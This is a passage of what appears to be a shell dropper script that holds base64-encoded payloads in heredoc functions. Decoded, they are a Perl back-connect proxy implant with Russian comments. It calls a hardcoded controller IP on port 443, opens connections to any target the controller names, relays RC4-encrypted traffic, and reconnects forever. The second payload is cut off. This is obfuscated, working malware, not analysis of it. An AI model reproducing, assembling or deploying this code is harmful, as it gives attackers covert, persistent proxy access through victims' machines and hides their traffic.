CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_9() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjgnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
